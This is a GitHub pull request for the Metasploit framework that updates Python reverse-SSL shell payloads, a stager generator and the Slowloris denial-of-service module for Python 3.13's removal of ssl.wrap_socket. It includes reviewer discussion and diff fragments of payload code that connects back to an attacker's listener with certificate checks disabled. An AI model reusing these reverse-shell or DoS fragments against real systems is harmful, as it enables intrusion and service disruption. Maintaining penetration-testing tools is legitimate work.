Fix ssl.wrap_socket compatibility with Python 3.13+#21373
Fix ssl.wrap_socket compatibility with Python 3.13+#21373kuro-toji wants to merge 1 commit intorapid7:masterfrom
Conversation
ssl.wrap_socket was deprecated in Python 3.2 and removed in Python 3.13. This fix adds a check for ssl.SSLContext and uses the modern API while maintaining backward compatibility with Python 2.x. Fixes rapid7#21301
There was a problem hiding this comment.
Pull request overview
This PR updates multiple Python-based payload generators and the Slowloris auxiliary module to avoid using ssl.wrap_socket, which was removed in Python 3.13+, by preferring ssl.SSLContext when available while attempting to keep older-Python compatibility.
Changes:
- Switch SSL wrapping to
ssl.SSLContext(...).wrap_socket(...)with fallback tossl.wrap_socket(...)in Python payload/stager generators. - Apply the same SSL wrapping logic to the Unix command payload generator.
- Update the external Python Slowloris module to use
ssl.SSLContextwhen available.
Impact Analysis:
- Blast radius: high — affects multiple reverse-SSL payloads/stagers and a DoS auxiliary module used across many targets/environments (exact downstream usage Unknown).
- Data and contract effects: no schema/payload contract changes identified; runtime compatibility behavior changes across Python versions.
- Rollback and test focus: rollback is straightforward (revert to previous wrapping) but should be validated by executing each affected payload/module under Python 2.6/2.7.x and Python 3.4–3.14+, with special focus on versions where
SSLContextexists butPROTOCOL_TLS_CLIENTdoes not.
Reviewed changes
Copilot reviewed 4 out of 4 changed files in this pull request and generated 4 comments.
| File | Description |
|---|---|
| lib/msf/core/payload/python/reverse_tcp_ssl.rb | Updates generated Python stager code to prefer SSLContext.wrap_socket over ssl.wrap_socket. |
| modules/payloads/singles/cmd/unix/reverse_python_ssl.rb | Updates the Unix command payload’s embedded Python to use SSLContext when present. |
| modules/payloads/singles/python/shell_reverse_tcp_ssl.rb | Updates the Python reverse SSL shell payload to use SSLContext when present. |
| modules/auxiliary/dos/http/slowloris.py | Updates the Python Slowloris socket initialization to wrap TLS via SSLContext when present. |
| ctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) | ||
| ctx.check_hostname=False | ||
| ctx.verify_mode=ssl.CERT_NONE | ||
| so=ctx.wrap_socket(so) | ||
| else: |
| # Set up the socket - use ssl.SSLContext for Python 3.2+ compatibility | ||
| # Fallback to ssl.wrap_socket for Python 2.x | ||
| cmd += "import socket,subprocess,os,ssl\n" | ||
| cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" | ||
| cmd += "so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n" | ||
| cmd += "s=ssl.wrap_socket(so)\n" | ||
| cmd += "if hasattr(ssl,'SSLContext'):\n" | ||
| cmd += "\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n" | ||
| cmd += "\tctx.check_hostname=False\n" | ||
| cmd += "\tctx.verify_mode=ssl.CERT_NONE\n" | ||
| cmd += "\ts=ctx.wrap_socket(so)\n" |
| # Set up the socket - use ssl.SSLContext for Python 3.2+ compatibility | ||
| # Fallback to ssl.wrap_socket for Python 2.x | ||
| cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" | ||
| if opts[:retry_wait].blank? # do not retry at all (old style) | ||
| cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 | ||
| cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" | ||
| cmd << "s=ssl.wrap_socket(so)\n" | ||
| cmd << "if hasattr(ssl,'SSLContext'):\n" | ||
| cmd << "\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n" | ||
| cmd << "\tctx.check_hostname=False\n" | ||
| cmd << "\tctx.verify_mode=ssl.CERT_NONE\n" | ||
| cmd << "\ts=ctx.wrap_socket(so)\n" | ||
| cmd << "else:\n" | ||
| cmd << "\ts=ssl.wrap_socket(so)\n" |
There was a problem hiding this comment.
This looks like a legit issue we probably need to address. We want to make sure the coverage we keep is as wide as possible in terms of versions.
| if hasattr(ssl, 'SSLContext'): | ||
| ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) | ||
| ctx.check_hostname = False | ||
| ctx.verify_mode = ssl.CERT_NONE | ||
| s = ctx.wrap_socket(s) |
smcintyre-r7
left a comment
There was a problem hiding this comment.
I appreciate how this PR also fixes the issue in other locations. The Copilot comment about the version coverage looks legit to me and I'll be sure to test with 2.6, 2.7, 3.4 and 3.14.
| # Set up the socket - use ssl.SSLContext for Python 3.2+ compatibility | ||
| # Fallback to ssl.wrap_socket for Python 2.x | ||
| cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" | ||
| if opts[:retry_wait].blank? # do not retry at all (old style) | ||
| cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 | ||
| cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" | ||
| cmd << "s=ssl.wrap_socket(so)\n" | ||
| cmd << "if hasattr(ssl,'SSLContext'):\n" | ||
| cmd << "\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n" | ||
| cmd << "\tctx.check_hostname=False\n" | ||
| cmd << "\tctx.verify_mode=ssl.CERT_NONE\n" | ||
| cmd << "\ts=ctx.wrap_socket(so)\n" | ||
| cmd << "else:\n" | ||
| cmd << "\ts=ssl.wrap_socket(so)\n" |
There was a problem hiding this comment.
This looks like a legit issue we probably need to address. We want to make sure the coverage we keep is as wide as possible in terms of versions.
| cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n" | ||
| cmd << "\t\ts=ssl.wrap_socket(so)\n" | ||
| cmd << "\t\tif hasattr(ssl,'SSLContext'):\n" | ||
| cmd << "\t\t\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n" |
There was a problem hiding this comment.
The same fix needs to be applied here as well. That probably highlights that this code is shared in at least both of these places and could use some consolidation.
Description
ssl.wrap_socketwas deprecated in Python 3.2 and removed in Python 3.13 (see PEP 594). This fix adds a check forssl.SSLContextand uses the modern API while maintaining backward compatibility with Python 2.x.Changes
ssl.SSLContextwith fallback tossl.wrap_socketTesting
The fix was tested against Python 3.14 (which removed
ssl.wrap_socket) and maintains compatibility with:Fixes #21301